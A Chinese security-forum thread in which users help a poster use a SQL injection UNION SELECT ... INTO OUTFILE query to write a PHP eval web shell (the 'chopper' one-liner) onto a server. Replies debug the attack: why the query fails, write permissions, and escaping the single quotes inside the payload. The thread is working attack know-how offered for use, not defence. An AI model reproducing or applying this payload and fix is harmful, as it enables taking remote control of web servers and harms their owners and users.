注入是,输出一句话的问题?
在sql 联合查询时,如果联合查询一起是4个字段select 1,2,3,4,这样可以正常返回,如果我要在1个字段输出一句话
select 1,2,(select '<?php @eval($_POST['chopper']);?>' into outfile 'D:/f.php' ),4
如果这样,那输入一句话的字段,没有返回值,那么联合查询出错,有没有什么解决办法吗 这样试试 UNION SELECT 1,2,'aaaa',4 into outfile 'D:/f.php' 按我的理解,你那样是错的,那么就变成了 select (select “一句话” into outfile "xxxx/1.php"),这样的语句执行不通 wuyan 发表于 2015-9-2 18:03
按我的理解,你那样是错的,那么就变成了 select (select “一句话” into outfile "xxxx/1.php"),这样的 ...
您好,版主,非常感谢能解答我的问题,现在问题是这样
如果是这样SELECT 1,2,'aaaa',4 into outfile 'D:/f.php',是可以输出的,但是把aaa部分,替换成输出一句话,就不正常了,我的理解是,select '<?php @eval($_POST['chopper']);?>' into outfile 'D:/f.php' ,没有返回值造成的,因为我实验了下 load_file(xx),这个又成功了,不知道我这个对不对,现在想的办法,看有没有办法让select 一句话,返回个值 lyfzxz 发表于 2015-9-2 19:12
您好,版主,非常感谢能解答我的问题,现在问题是这样
如果是这样SELECT 1,2,'aaaa',4 into outfile 'D:/ ...
可能这个目录没有写权限,只能读。 还有你能写其他的内容,不能导出一句话,你就换一句话。。 select '<?php @eval($_POST['chopper']);?>' into outfile 'D:/f.php'
一看就知道楼主数据库功底不怎么的,难道你没有发现的导出一句话的sql指令有问题吗??你这句指令电脑会理解为:select '<?php @eval($_POST['
chopper
']);?>' into outfile 'D:/f.php'
其实按照人的理解来说你这句指令是没有问题的,问题就在于人脑会自动修正一些错误,但是电脑不会,解决这个问题的方法有两个,一个是chopper不要用单引号,改成双引号,另一个办法是把单引号转义。 要不要用转移字符 tintion 发表于 2015-9-3 08:48
一看就知道楼主数据库功底不怎么的,难道你没有发现的导出一句话的sql指令有问题吗??你这句指令电脑会理 ...
说得有道理,我等下试试,非常感谢啊
页:
[1]